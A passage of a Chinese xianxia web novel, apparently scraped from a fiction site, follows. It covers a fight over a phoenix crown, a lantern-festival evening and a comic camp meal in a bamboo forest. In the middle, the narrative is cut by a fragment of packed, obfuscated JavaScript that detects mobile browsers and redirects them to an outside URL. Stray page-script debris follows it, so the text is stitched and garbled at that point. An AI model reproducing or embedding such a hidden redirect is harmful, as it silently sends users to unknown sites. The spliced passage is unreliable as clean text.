他低声苦笑,看来老天竟是要刻意为难他们,让这种级别的灵草随随便便就出现在了这种巧妙的时刻。 明青垂眸看他,情绪没有什么起伏。 “凤冠,交出来,我可以放你回去报信。” 中年男人仿佛没有听到一般,怔怔地坐在那里,明青也不催他,过了一会儿,他才像是反应过来一样,动作迟缓的拿出了凤冠。 明青接过凤冠,上下端详了一下,确定了是真货,正打算将它收起来,中年男人却突然开口问道。 “你为什么想要凤冠?” 明青的动作停了一下,看着他问道。 “想要问别人,是不是应该先说自己的。” 中年男人看着凤冠,又沉默下来,明青定定的看着他。 “当朝律令,不可讨论、买卖、流通前朝事和前朝物,你们在挑战天威。” 这句话不知是哪里碰到了中年男人的神经,他的表情突然扭曲了一下,不屑的嗤笑起来。 “呵,你倒是守法度,把这种话挂在嘴边,可是认为皇帝做的一切都是对的?” 明青神色不动。 “他是明君,天下皆知。” “哈哈哈....明君....哈哈哈....明君、明君!!!” 中年男人突然笑起来,肩膀耸动,状似疯狂。 明青的心情被他笑的有些复杂,正想着要再说些什么时,忽然听到了身后的动静,她心中一惊,扭头看去,还没等看清什么,就觉得小腿下方一痛,然后整个下肢瞬间麻痹,刚刚还像是有些失心疯的中年男人马上就变了个眼神,根本看不出他刚才的疯样,他抓住了这个机会,在地上一个翻身离开了深流的钳制,抓起旁边刚刚掉落的剑就要向上刺去。 明青下身动弹不得,知道是自己大意了,让别人有了偷袭的机会,也让这个中年男人有时间暗中冲击穴位,摆脱了控制。 他刺来的角度很是刁钻,就是打着不能让她轻易回防的主意来的,她咬咬牙,尽力让身体避开要害,手腕翻转,调动深流同样就要向那中年男人攻去,想着就算自损一千也要伤敌八百,至少要把他拖在这里,阎罗殿还没有完全消散,只要能将他长时间拖在这里,耗也能将他耗死! 眼见着那剑尖就要没入她的腹部,肩上忽然传来一股外力,握着她的肩膀,一下子就将她带离了危险,同时那向她刺来的剑,也被另一柄长剑驳了回去,两剑极速相遇,发出‘铮——’的一声嗡响。 一个青年的背影出现在了明青眼前,他站在那里悠哉悠哉的说道。 “哎——,这是干嘛,有话咱们好好说呀,何必动刀动剑的,伤了和气就不好了。” 云修泽。 是他来了。 明青忽然就感到有一点安心,虽然这人性格奇怪,让她有时摸不透他的想法,但他身手很好,在一些事情上还是比较靠谱的,现在他来了,至少自己就不用像刚才一样以伤换伤。 可随即明青又为自己这点安心生了些警惕,她不知想到了什么,眼神又重新变回了原来冷淡的样子。 “你没事儿吧?” 唐思月和云修云围了上来,唐思月捏了捏她的手臂,上下打量着问她,发现她没受什么伤,放心了不少。 行愿本来在明青背后,刚刚将她拉出来,见两人一股脑的围上来,便无可奈何的退后两步,给他们让了个位置。 他扭头看向地上趴着的人,走过去像是切瓜砍菜一般补了两刀,说道。 “你大意了,没确认他们的死亡,他们中有功力深厚的人,在毒雾中能够坚持较久的时间,他假死等待时机,用石子偷袭你,你也没反应过来。” 可能是刚刚在拍卖会上明青才说过行愿像她的哥哥,所以现在被他说的有些心虚,她的眼神飘了飘,忽然转头去看唐思月。 “毒是阎罗殿。” 唐思月知道她想说什么,她拍拍她的手臂以示安抚。 “放心吧,我能解,进来之前喂过解药了。” 明青松了一口气的同时又有些惊讶。 “世上从未有人解过阎罗殿。” 刚刚在行进的过程中,唐思月的兜帽就已经掉了,但是她的脸上还附着一层白纱,此时应该是笑了,眼睛微微弯起。 “唐家无论是在平民百姓中,还是在各路修士中,都是以医毒出名,世人解不了的毒,不代表唐家解不了,只不过是不向外流传罢了。” 明青了然的点点头,四人没再交谈,都转头看向了云修泽那边。 刚刚那一击,就已经耗费掉了中年男人不少的力气,他没想到这个陌生女子还有后援,也清楚自己此时再做什么都是无用功了,所以也不去搭云修泽的话,独自在那里捂着伤口,眼神平静的看着他们。 明青走到云修泽身边,将手中的凤冠交给他看,云修泽将凤冠接过,却并未着急去看它,反而调笑起明青来。 “青哥威武啊,一对六全都撂到了还能活两个,何不再狠狠心全都弄死了呢,凑个吉利数字也是好的呀。” 他虽然说着调笑的轻松话,可眼神却是认真的,明青也知道是自己理亏,让他们担心了,所以也不去驳他,只是平静的问道。 “你怎么知道我是一对六?” 云修泽用下巴指了指远处躺着的几个人。 “那几个一看就是中毒死的,你是不怕毒,可雪字房这几个人肯定怕啊,你又不知道阎罗殿有解药,这两个人能活到现在,这毒肯定就是他们用出来的,想必是用了什么法子到现在还没被毒死吧。” 明青点点头,是她没转过弯,没能细想。 云修泽将凤冠举到眼前,一只手轻轻捏起那颗血红宝石仔细端详,它的质地十分的清透,触感似玉非玉,也不像寻常的宝石。 云修泽探了一点灵力进去,发现灵力在这颗宝石中运转的十分流畅,从里面转了一圈儿回到他体内,竟还多增添了几丝,他的眼神暗了暗,转头将感觉到的与几人说了出来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950938|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云修云兴冲冲的也试了一次,果然是一样的情形,唐思月眼睛向下,沉思片刻,说道。 “你们还记得我曾经说过双生子会在记号中添加的那个花汁吗?这颗宝石恐怕跟那种花来自同一个树种。” “这到底是什么树啊?这么好用。”云修云问道。 唐思月摇摇头。 “我们族中并没有记录,不过这也是个线索,以后有机会我会着重查查的,双生子跟这种树肯定有不浅的联系。” 云修泽捏着宝石轻轻转了转,艳丽的色泽透过光照晕在他墨一般的眼中,融入了他的静默。 总之,能找到方向就是好的,他将凤冠交还到明青手中,走到那个中年男人面前蹲下,一脸十分好说话的样子冲他笑道。 “这位仁兄,我刚看你眼睛总是盯着这个凤冠,想必是十分紧张它,不知道你家主人到底是冲着收藏来的?还是继续流通呀?还是——镜双子啊?” 见中年男人眼神警惕,一副誓不开口的模样,云修泽笑着描补道。 “你别紧张,我们几个就是想知道点儿消息,不如咱们打个商量,你说点儿我们想知道的,我们为你解毒,就算没拿到东西,好歹能活着回去报个信儿不是吗?” 这位仁兄双眼一闭,拒绝沟通。 云修泽无奈耸了耸肩,明青走上前来,轻声说道。 “这些人不像死士,但全都愿意拿命换这个凤冠,不会轻易张嘴的。” 她忽然摸到了凤冠上的四皇子私印,眼神微动,试探说道。 “今上不是明君,谁是?前朝那个早逝的四皇子吗?” 装死的这位仁兄骤然睁开了眼睛,他恶狠狠的盯着明青。 “小丫头口出狂言!给我放尊重点儿!” 云修泽面无表情的将禇闲递了上去,剑刃顺着他的脖颈向上挑了挑他的下颚,语气有些不善的把这话还了回去。 “是你要放尊重点儿。” 中年男人冷哼了一声,神色轻蔑道。 “世人昏聩糊涂,史实由胜者书写,即使是卑劣的胜者,身居高位,想要蒙蔽浑浑噩噩的世人,也都是再简单不过。” 明青抿起了双唇,云修泽挑了挑眉,歪着头笑起来,似乎并不因为他的话而生气,饶有兴趣道。 “哦?你的意思是这其中另有隐情?与四皇子有关,那镜双子在其中又扮演了什么样的角色呢?” 那边的云修云看着他这样,忍不住凑到唐思月身边,捂着嘴悄悄和她说道。 “每次我哥露出这个模样,就是要忽悠人了,你看看他,狐狸尾巴都要摇起来了。” 他不说还好,这么一说倒还真有那么几分样子,唐思月忍不住轻轻笑了起来。 云修泽的确是打算开始忽悠人了,可无奈的是这人根本不接他的茬儿,只是敷衍的告诉他这血红宝石的确来自镜双子后就不再搭理他,反而又转向了明青,阴恻恻的对她说道。 “你以为现在的皇上就是什么真龙天子吗?如果他真的那么问心无愧,又为什么会封禁前朝,不许世人言说?” 云修泽被他一顿敷衍,他蹲在那里,云修云却觉得他的尾巴都深感无趣的垂了下去。 明青的嘴角绷直,显然现在的心情并不太好,她低头认真的反驳。 “今上做的每一件事都是利民之事,现在的太平盛世他更是功不可没,封禁前朝......封禁前朝自有他的理由,岂容你这等藏头露尾的小人攻瑕索垢。” 那人讥讽的眼神没有变,他不紧不慢的冷笑道。 “呵,我们的藏头露尾全都由你这位明君一手造成,因为他的皇位.......” 明青微微睁大了双眼,听他一字一句的说道。 “是、偷、来、的!!!” 明青明知道这人很可能是在混淆视听,污蔑诟病,却也忍不住双眼微微失神,心神动荡不安。 中年男人似乎早在谋划这一刻,话说出口的一瞬间,就飞速弹起,一只手从明青手中捞回了凤冠,另一只手则以迅雷不及掩耳之势扔下了一颗药丸,霎时迷烟四起,却并不是毒,只将几人熏的眼睛都无法睁开,等他们破开迷雾时,中年男人就已经带着凤冠失去了踪影。 明青懊恼蹙眉,伸出的手纂成了拳慢慢垂下。 “怪我。” 云修泽站在她旁边也有些无奈。 “怪我,离得那么近,竟然没有反应过来。” 明青摇摇头,没有说话。 唐思月三人也悄无声息的围了上来,几人看着她,知道她的心情不好,却也不知从何下手来安慰她,云修云性子最乐观,此时也最先开口。 “没事儿!明青姐,凤冠咱们也看过了,能问的咱们也问了,让他拿走便拿走吧,也省的后续给咱们招惹麻烦。” 见她还是不说话,云修泽想了想,悄悄从旁边捻出一朵花儿藏了起来,伸手到明青眼前稍微摆了摆,引起她的注意力后,手腕儿一个翻动,便将那朵藏起来的花儿像变戏法一般奉到了她的眼前。 “这两日摸排城中路径,叫我无意间发现一间小店,做菜很是一绝,不知——明姑娘可否能赏脸陪我尝一尝?” 明青看着眼前随着微风轻轻摆动的花,又抬头看了眼几人关切的表情,眼神动了动,将花儿拿了过来,微微嗅了一下后,语气轻缓的说了声。 “走吧,回去了。” * 两人转身离开,剩下的三人还在原地商讨。 云修云:“......那我们去吗?” 行愿:“他说陪他。”没说要带上他们三个。 唐思月:“可我们也得吃啊。” 云修云:“那我们去别的地方?” 这时已经要走远的云修泽转身冲他们招呼。 “愣着干嘛呢?走了!” 三人面面相觑,最终唐思月扑哧一笑,轻快说道。 “走吧!” 12. 孚望十二 刚刚他们追雪字房的人追到了城外,虽然算不上远,但也说不上近,几人也没有着急回去,等到天色完全暗下来,才算是回到了城内。 今日城中十分热闹,路旁都点起了花灯,小孩子三五成群的在大街小巷穿来穿去笑闹着,街上的大多数都是岁数不大的,有年轻的夫妇,未婚的女子也都精心装扮,细细画了花钿,大都提着花灯,郎君们也都个个身姿挺拔,意气风发,节庆气氛浓厚。 云修泽找到了路旁一个卖花灯的商贩,给了他一些碎银,做势挑选花灯,随意与他搭话,问道。 “诶小哥,我们是外地来的,正好经过这里,待着也有两三日了,怎的今日城中这般热闹?” 那商贩看着他给的银子已经远超这灯的价格,就笑眯眯的示意他随意挑选,听他问话,就回道。 “公子有所不知,我们就是个边陲小城,曾经遭过战乱,又偏远,离各地都不算近,战争刚刚结束的那段日子很是艰苦,当时的城主大人为了让人们脱离那种死气沉沉的氛围,就把战乱消失的日子,定作一个节日,一开始还只是大家一起热闹热闹,这不,慢慢的发展,很多姑娘和郎君选在这天定情,已经成婚的也喜欢在这天放河灯以示感情和睦,这才成了今天的样子。” 云修泽笑了笑,说。 “那很不错啊,说明人们的心中是真的安定下来了。” “哎呀!可不是嘛!” 商贩拍了拍腿,也很高兴,他的眼睛在几人身上来回转了几圈儿,凑近云修泽小声的说。 “这位公子,我看您几位都是人中龙凤,是要在外面闯荡的,您看您来到我们这儿这么赶巧就遇上这个节日了,何不就将花灯送给姑娘,然后在城中逛一圈,说开了早日定情才好,这两位姑娘,虽都蒙着面,但是能看出来都是姿容姣好之人,您不趁早定下来,可要小心来日被人抢走,我们这儿每年在这个时候定情的,就没有一对儿不成的,可灵了!!!” 他偷偷摸摸的说,自以为瞒的很好,可其实这个距离,几人都能听的一清二楚,看他这个样子,竟是真心想要撮合,云修泽略微有些尴尬,也有些哭笑不得。 “多谢您的美意,不过我们只是朋友,花灯虽是要买的,但也不过是给姑娘们解闷儿玩儿,总不能满城的姑娘都提着灯,我们的姑娘反倒没有。” 他说着,从各式各样的花灯中,挑中了一个红眼睛的兔子灯,正准备去挑下一个,云修云却突然从后面钻了过来,拿了高处悬挂的一支非常精美的荷花灯,十分手快的付了钱,他笑嘻嘻的对云修泽说。 “嘿嘿,这支我给,这支我给。” 云修泽一挑眉,没说什么,商贩却诚惶诚恐的想要将钱还回来。 “哎呦,您给多了,刚刚这位公子给的够买两位手上的这两支了,可不能再给了。” 云修云利落的将他拿着钱的手往回一推,抬高了下巴,眼睛亮亮的,笑道。 “您收着吧,我有我的心意,总不能让他付钱,多的算送是给您图个好意头。” 那商贩见状也不再推辞,作着揖,眉开眼笑的说起好话来。 “小公子慷慨,眼光也好,这荷花灯是我这些灯里做的最好看的一支,虽没有您的心意贵重,但是礼轻情意重,姑娘一定能感觉到您的心意的。” 云修泽没去管他,拿着那只兔子灯转身去找明青,满车的花灯将这一片地方照的很亮,但明青偏偏站的远了一些,乍一看去,倒像是她将自己与他们隔了开来,站在暗处显得有些冷漠,又显得有些孤独。 云修泽顿了顿,带着兔子灯,慢慢走到了她身边,一支灯的火光不算很亮,但还是很柔和的、随着云修泽的脚步,慢慢来到了明青身边。 他将发着光的兔子灯送到她手上,带着微微的笑意和她一起默默看着这支花灯,两人谁都没有开口,安静的能听见街上各种叫卖声和那边云修云与商贩的对话声,在这个热闹的环境中,两人仿佛独自成了一个小天地,隔开了所有人。 过了一会儿,明青开口问道。 “为什么是兔子灯?” 其实云修泽也不知道为什么,他想了一会儿,决定实话实说。 “嗯......我也不知道为什么,直觉吧,感觉你会喜欢它。” “......谢谢。” 明青看着手中的兔子灯,面纱遮挡了她的容颜,云修泽不知道她是不是笑了,但她变得柔和的目光却已经告诉了云修泽她的高兴。 总算是将人哄好了,云修泽的心情也随着她眉头的舒展变得轻松。 那边的云修云与商贩聊了几句,便提着那支花灯来到了唐思月面前,到了人家面前,反倒是有些扭捏,他没什么底气的将荷花灯递过去,小声的说。 “我也没有别的意思,就是看它好看,虽然没有你好看,但这不是过节嘛,应个景,你别多想。” ”好,我知道了,多谢你,我很喜欢。” 她轻轻接过云修云手中的提手,将荷花灯举高了些,灯火便透过荷花的外壳轻轻映照在她的脸上,灯下观美人,更胜三分,何况人们向来喜爱朦胧的美感,如同雾里看花,水中望月。 此时的唐思月只是细细看着这只造型精美的灯,却给了云修云一种朦胧之感,似乎她就是那雾里的花,水中的月,等你忍不住想要去触碰时,就会发现,这一切不过是一场空。 莫名的,云修云感到有些心慌,他一下子抓住了唐思月的手腕,有些惊疑不定的看着她。 他能抓住她,手下的肌肤是温热的,就在他身边,他努力平复着自己,唐思月却被他唐突的举动吓了一跳,手中握着的荷花灯也被迫摇晃了几下。 她有些气恼的抬头看向云修云,却发现他像是有些害怕的样子紧紧抓着自己的手腕,唐思月略微疑惑,于是也没有试图抽回自己的手腕,就任他这么握着,轻声试着安抚。 “这是怎么了?被什么吓着了?我在这儿呢,跟我说说?” 云修云听到她的声音,看向自己紧紧抓着唐思月的手,像是才反应过来一样一下子松开。 他往后踉跄着退了两小步,整个人都肉眼可见变得僵硬,他的手无措的挠挠头又摸摸腿,不知该往哪里安放,他纠结了一会儿,干脆放弃了,沮丧的低头道。 “对不起啊,思月,我又不小心冒犯你了,我不是故意的,刚刚不知怎么的,看你在灯下,总有种你要离开的感觉。” 云修云比唐思月要高出大半个头去,此刻整个人都像是一只犯了错的毛茸茸的小东西,不免让她觉得有些可爱。 唐思月怀着新奇又柔软心情摸了摸云修云的头,冲他晃了晃手中的荷花灯。 “不会呀,我就在这里,不会消失的,你刚刚不是送了我一支荷花灯吗?我拿着它,你不会找不到我。” 云修云被她摸的整个耳朵都红了起来,他偷偷抬眼看了唐思月一下后又飞快的垂下了眼睛,轻声寻求保证。 “真的不会找不见吗?” 唐思月见他这个样子,沉吟片刻后说道。 “那这样吧,我拿着这灯,你什么时候需要了,跟我说,我会答应你一个要求,这样你总能放心吧?” 云修云一下反应过来了,有些着急的摆着手。 “不,不不不!我只是想送给你,并不想拿它和你换什么,你什么都不用给我!” 唐思月笑着,也不回话,用沉默表达她的坚持,云修云看她这个样子,知道她是为了安抚自己才会这样做,安静了一会儿,轻声说道。 “谢谢你,思月。” 唐思月向前走去,路过他时,轻轻拍了拍他的肩。 “应该的,我们是同伴,不是吗?” 云修泽和明青已经在不远处等着他们,然后是唐思月,在她之后则是沉默寡言的行愿,云修云站在原地看着他们四个人,忽然咧开了笑容,快步跟了上去,语气轻快的抱怨道。 “诶!等等我呀!” 云修泽带着他们四个弯弯绕绕的走了好一会儿,有的巷子偏僻的甚至都没有什么光亮,也幸亏他们都身负灵力,再加上明青和唐思月手中提着的花灯,才叫他们不至于两眼一抹黑。 到了地方一看,比起饭馆其实更像是一个民宅,主人家是一对聋哑的老夫妻,倒是收养了一个伶俐健全的儿子。 他们没钱到外面去租铺子,于是就干脆拿自己家的院子招待客人,在门上挂了牌坊,但这里人迹罕至,那个牌坊又不是十分的显眼,也少有人来,按理说早就应该开不下去了,但架不住老夫妇的手艺很好,小儿子又十分的会说话,所以基本每个到这里吃饭的人都成了回头客,这么多年,倒是勉强支撑了下去。 五人在为数不多的桌椅里找了一个角落的位置坐了下来,老夫妇过来笑着点点头,给他们送了一些茶水,然后就直接将地方让给了小儿子。 这小子十几岁的年龄,生的到十分清秀灵动,他熟门熟路的拿出一份单子,眼睛在几人身上咕噜噜一转,巧笑着把单子递给了明青。 “几位客人,我们这里菜品虽不多,但个个都很好吃,几位想点儿什么?保管不叫您失望。” 云修泽挑眉一笑,心想这小子倒是上道,明清看了他一眼,也不跟他客气,简单圈了几个菜品后就递给了唐思月,几人看了一圈儿,将单子交还给那个小子后,说道。 “这些就够了。” 那小子接过来,微微弯腰,笑容十分讨喜。 “得嘞,几位稍等,我叫阿木,有什么需要随时叫我。” 院子里除了他们,仅有两三桌客人,环境说不上好,但打扫的十分干净,几人坐在角落,也方便叙话。 阿木果然没叫他们久等,不一会儿就将菜上齐了,最后一道是淡红色鸡汤,刚一打开就觉得香气扑鼻,叫人食指大动,云修云明显对它心动了,阿木带了些得意,给几人介绍道。 “几位客官,这道鸡汤是用的野山鸡,熬汤的底料都是我阿嫲特制的,对身体很有好处,几位慢慢品尝。” 云修云最先动手的就是那道鸡汤,云修泽本以为他会马上尝尝,却没想他盛的第一碗竟送到了唐思月手上,云修泽的眼神在他们两个人之间转了两圈,然后也有模有样的学起来,亲自盛了一碗,以不容拒绝的方式送到了明青面前。 明青自己已经有一碗了,她看着手中莫名其妙多出来的一碗鸡汤,又抬头看了看若无其事的云修泽。 对面是正在小口喝着鸡汤的唐思月,她心中不由觉得有些好笑,遇到他不擅长的事,他就会去学习别人,也不管是否适用,倒显得有些笨拙。 四人盛来盛去,一旁的行愿与世无争,坐在唐思月身边,自己给自己盛了一碗。 他现在已经不像一开始那样对着几人严防死守了,吃饭的时候一般会将面具稍微掀开一些,几人也会礼貌的刻意回避自己的眼神,他吃的也快,一般都是第一个吃完,然后坐在那里安静的等着他们。 “你说你要找你哥哥,那你记得你哥哥长什么样子,具体有什么特征吗?” 对于凤冠,几人都更在意双生子的消息,但明青似乎也很在乎皇族的事情。 法修不得干预朝廷之事,皇室宗亲也不会把子弟送来修法,这是约定俗成的事情,他们虽然不修灵力,但也不是毫无缚鸡之力,一般都自成一套体系,是以锻炼肉身为主的。 明青是法修,可她对于皇帝和前朝的关心,显然超过了一个正常法修会关心的程度,如果说是单纯的觉得这个皇帝当的不错,倒也勉强说得过去,但以明青的性子,云修泽觉得也没什么可能。 他有心想问,却也知道他们之间的关系只是同路人,说的上是同伴,却说不上是好友,面上和谐,心中却还存有壁垒,问了她也不会说,反而会将她推的更远些,于是也只挑一些不那么私密的事情询问。 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云修云有心跟上,却无奈起了兴致的姑娘脚步很快,街上人那么多,一转眼两人就没了身影,于是就只能留在了云修泽和明青身边。 有拿着糖人的小姑娘一个不注意撞在了明青身上,她懵懵的抬起头,看见是一个蒙着面的漂亮大姐姐,就露出缺了一颗牙齿的笑脸,不好意思的笑了两声又跟着同伴们跑远了,明青目送她离开,转身冲兄弟二人说道。 “走吧,机会难得,我们也去逛逛。” 云修云暗暗心想,再高冷的姑娘,终究也是姑娘,明青姐也抵不过这种诱惑。 三人逛了几家店,在一家卖饰品的小店中,云修云看中了一颗红色的灵石,和双生子那颗有一些相像,他叫来店小二询问,店小二堆着笑脸。 “哎呦!这位公子眼光实在是好,这是九炎石,出自炙热的九炎城,是那个地方的特产,经过九道火焰的锻烧,有避火的功效,您看的这颗更是万中之一,用来雕刻成首饰送给心爱的姑娘,不仅好看也很实用啊!而且我们店还提供首饰制作的,您只要出钱,想要什么样子画下来与我们,我们保证不到五日就能送到您的手上!” 在这种节日进了首饰店,又是个年轻的公子,店小二自然以为这是为了讨好姑娘来的。 见他有些心动,云修泽在旁边说道。 “想买来送给思月?何不看看那边颜色素雅些的,思月可没有穿戴过颜色艳丽的衣裙和首饰。” 云修云挠了挠头,有些不好意思地笑起来。 “思月戴什么都是好看的,我只是觉得这颜色衬她,也许以后能用上呢。” 见他这个样子,云修泽就笑着揶揄他。 “用上?红色的首饰,你小子倒真敢想。” 修士穿戴虽没有颜色阶级,但是日常中也很少有人会穿的如此艳丽,他这个弟弟,平日里看着心思单纯,认定了一个人之后,想的到十分之远,不像他。 云修泽收敛了表情,余光中,明青正安静的挑选店内的东西。 他承认自己对她的好感,但心中,一部分的自己在靠近她,一部分的自己又在不断的质疑、远离她。 每个人都怀有秘密,她的事情牵扯到了皇族,也不像他们兄弟二人一样只是单纯的想要找到地方,与镜双子那对危险人物的纠葛,比他们只深不浅。 他明白自己应该冷眼旁观,帮着她一起找到地方算是目的相同,但如果再靠近些,恐怕就会被拖入泥潭,明哲保身才是上上之策。 云修云付了十万金拿下了这颗拇指大小的珠子,并拒绝了店小二提供的首饰制作,他转身冲两人招呼。 “走吧!” 云修泽又扬起笑脸。 “你单买颗珠子做什么?咱们停个几天也是可以的,何不等他们做完了再走?” 云修云双手背后,一边哼着曲儿一边蹦跶着往门外走去,听到云修泽的话,头也不回的伸出食指摆了摆。 “啧啧,这就是你不懂了,大哥,我要自己做给她,虽然我没做过,可能会做的很慢,也算不上如何精美,但是重在心意啊!” 云修泽失笑,一边好好好的应他,一边带着明青往外走去,他们所在的地方离河不远了,路旁卖河灯的也变得多起来,除了夫妇表达爱意,人们也会在河灯上写上自己对爱侣或者家人的祝福,放入河中,如果正好被对方捡到,所求就一定能圆满。 云修泽见明青的眼神总是不时的瞟向路旁卖的河灯,便问她说道。 “买一个放吗?” 明青摇了摇头,眼睛却还是时不时的会去看一下,她拒绝了,云修泽就顺着她的意思,本不想再管,走了一会儿,看她这个样子,还是忍不住叹了口气,到商贩那儿给了钱,轻轻取了一盏河灯放到她的手中,拿过商贩给的笔递给她。 “哝,写吧。” 明青抿了抿双唇,有些别扭的将笔接了过来,小声说道。 “谢谢。” 她提笔想了一会儿,在河灯上慢慢写下。 ‘愿,兄长恩垚平安康健。’ 停了一下,又添了一句。 ‘得偿所愿。’ 她捧着那盏河灯,兄弟二人陪着她到河边,看着她蹲下身,慢慢将河灯放在了河面上。 水流潺湲而行,明青的河灯起伏着汇入了星星点点的灯群之中,云修泽的陪着她,静静目送着那只河灯,直到再也看不见了,明青才站起身。 “走吧。” 三人离开了这里,河流蜿蜒曲折,贯通了整座小城,那盏河灯顺着水流飘到了一处较为安静的地方,上面的字被烛火映衬的明暗不清。 而此刻,正有一个男子弯下腰,将这盏河灯轻轻拿到了手中。 13. 孚望十三 几人在下榻之处附近的街道上重新聚首,唐思月常年被隐藏着,少有能出来逛逛的机会,单看她身后行愿身上挂的一堆东西就能知道她今天玩得很开心。 不过她自己倒是什么都没有拿,脚步略显轻快,来到了三人身边。 行愿的步子依然稳健,可他身上真的是满了,莫说双手拎满了东西,就连他的刀柄上,都被唐思月套上了一些不知从哪儿淘来的小玩意儿,两人就这么对比鲜明的走了过来,别说二云了,就连明青都有些忍俊不禁,唐思月平时看着温柔娴静,这逛起街来,下手倒是丝毫不手软。 几人走着,云修云便悄摸摸凑到了行愿身边,刻意压低的声音,小声问他。 “行大哥,你们这都买的什么呀?” 行愿看了看身上琳琅满目的东西,闷声答道。 “记不清了,总归是她喜欢的。” 云修云伸手拨弄了下刀柄上挂着的小东西。 “那么多东西,怎么不收起来?拿着多费劲。” 行愿看了看唐思月蹦蹦哒哒的背影,也跟着放低了声音。 “她难得这样,姑娘买东西,总要能看见才觉得开心,若是到手便收起来了,心中知道自己有了却看不见,这份高兴恐怕就要折半。” 云修云从没想过这点,顿时就肃然起敬,可过了一会儿又变得失落起来,他问道。 “行大哥,我是不是做什么事儿都不太过脑子?想着对她好,却往往不够细心,我这样,又哪里能打动她呢?” 行愿想了一会儿,他不常跟人交谈,也不知该怎样去安慰他人,只能干巴巴的说。 “做好你自己就可以。” 云修云勉强打起精神,冲他笑了笑,快跑两步追上了唐思月,开始旁敲侧击她喜欢的首饰样式。 比起他们,云修泽和明青两人就沉默了许多,他们的默契不止体现在武力上,显然今夜的氛围也让两人对彼此心中有了个底,云修泽抬头望天,看着沉沉的夜空,轻轻叹了口气。 五人在这座小城中度过了最后一夜,第二日,便启程离开。 那座城池的确已经是最偏僻的了,几人走了一天,再没看见半个城池或者村庄的影子,直到黄昏时分,他们路过一片广袤的竹林,才在远处看见零星几户人家的炊烟。 云修泽坐在马上,一只手放在眉眼处极目远眺。 “不过三四户穷苦人家,不知因何在这种偏僻的地方生活,我们还是莫要叨扰了。” 明青则看着眼前的竹林。 “这片竹林很大,位于衢州边界,穿过它,就是计都的地界。” 云修泽骑着马在原地踱步,他一手握着缰绳,看着低处的她挑眉取笑。 “你竟还认得路?” 明青当即给了他一个眼刀,云修泽姿态闲适,配合她表演,不慌不忙一个歪头就表示闪躲成功。 云修云心中觉得他们幼稚,却连小声嘟囔也不敢,看这个天色,今晚恐怕就要在这竹林里过夜了,他上次全程看了行愿处理野兔的手法,正是信心大增的时候,不耐烦在这里等他们打情骂俏,于是招呼一声,打算先行一步去竹林里面捉些野货,唐思月从马车里钻出来,连忙将他叫住。 “竹林那么大,你这么乱跑,会跟我们失散的。” 被她关心,云修云显得有些高兴,他在不远处冲她抬了抬下巴,十七岁的少年身形尚且显得有些单薄,他坐在高头大马上回头这么一笑,正显得少年意气风发,他扬声说道。 “你放心!我和大哥的玉佩能让我们大概知道对方的位置,不会丢的!你等我今天给你露一手!” 说着他扬起马鞭一甩,纵马飞入了竹林。 唐思月若有所思的看向云修泽腰间的玉佩,云修泽便拿起那块儿玉佩向她解释。 “一块儿玉胚所制,很是难得。” 唐思月点点头,既然云修云去找吃的了,几人就慢慢悠悠的去找过夜的地方。 云修云所言不虚,并没有用很久,他便提着两只不知从哪儿弄来的野鸡找了过来。 看着那两只活蹦乱跳的鸡,想起昨天云修云买的一堆乱七八糟的调料,云修泽心中有了点儿不好的预感,他摸摸下巴,语气有些奇怪。 “你莫不是想要复刻咱们昨夜喝的鸡汤吧?” 云修云嘿嘿一笑。 “知我者,莫若我兄也。” 云修泽的嘴角抽了抽。 “你个从小到大远庖厨房的小少爷,想起什么来了要来毒害我们。” 云修云根本没有被打击到,他颇有自信的将几人都赶到一边,不让任何人围观,自己在一旁手忙脚乱的开始收拾鸡。 唐思月给行愿使了一个眼神,行愿心领神会,避开他做起别的吃食来,还站着的三人对视一眼,不约而同松了口气。 黄昏是短暂的,余霞成绮缓缓散去,云修泽捡了些细竹充当柴火堆在几人中间,点燃了火焰,唐思月也照旧撒了一圈毒粉,几人围在一起,四双眼睛盯着云修云端来了一锅冒着热气的鸡汤。 他殷勤的给四人各盛了一碗,蹲在那里搓搓手,琥珀色的眼睛眨了眨,期待着他们的反应。 云修泽看着眼前色泽还算正常的鸡汤,咽了下口水,带着点儿英勇就义的意思闭眼喝了一口,见他带头儿,唐思月和明青也都尝了尝,只有行愿还留着一份谨慎。 沉默在几人之间弥漫开来,疑似乌鸦的叫声很合时宜的从远处传了过来。 云修云眼睛左看右看,小心的问。 “怎么样?” 云修泽与明青对视一眼,张嘴迟疑了一会儿,还是没说什么。 反倒是平时总是带着温柔笑意的唐思月先变了脸色,她的表情有些奇怪。 “这是什么?” 云修云看了看她碗中的鸡肉,不太确定的回答。 “......鸡...汤?” 唐思月连笑都笑不出来了,语速有些快。 “你确定这不是鸡在里面洗了个澡?” “噗、哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!!!” 一阵突兀的笑声忽然从竹林传出,惊动了不少鸟兽。 云修泽不断的拍打着自己的大腿,整个人笑的前仰后翻,行愿捂住了自己唯一露出来的眼睛,低着头肩膀不住耸动,就连明青都把头撇向一边,抿着嘴在竭力憋笑。 其实云修泽早就发现了,唐思月虽然被培养成名门闺秀,可骨子里还是有些叛逆毒舌。 云修云委屈巴巴的瘪了瘪嘴。 “真的那么差吗?” 唐思月绷不住了,也跟着笑了出来。 “没有,哄你玩儿的,这鸡汤虽说不上好喝,但也没难喝到那个地步。” 云修泽抹着笑出来的眼泪到他身边揽住他的肩膀。 “真的真的,我没想到你第一次就能做成这个样子,算不错的了。” 云修泽在云修云这里没有丝毫信任可言,他抬头去看明青,明青已经平复了,肯定的对他点了点头,这才让他放松下来。 “思月你变坏了!” 唐思月耸了耸肩,无辜的冲他道歉。 “对不住,对不住,这不是缓解一下你紧张的心情嘛。” 她的语气没什么诚意,但云修云向来对她没脾气,只能按头认下。 后来在云修云一副遭到背叛的表情下,行愿把刚刚偷偷做的其他吃的拿了上来,几人鸡飞狗跳的才算是吃完了一顿饭。 